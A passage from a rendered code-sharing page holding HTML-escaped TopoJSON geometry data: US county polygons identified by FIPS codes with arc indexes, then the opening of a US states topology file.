ype&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/d9be09d2820d6772c92188cafbdf8442">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;P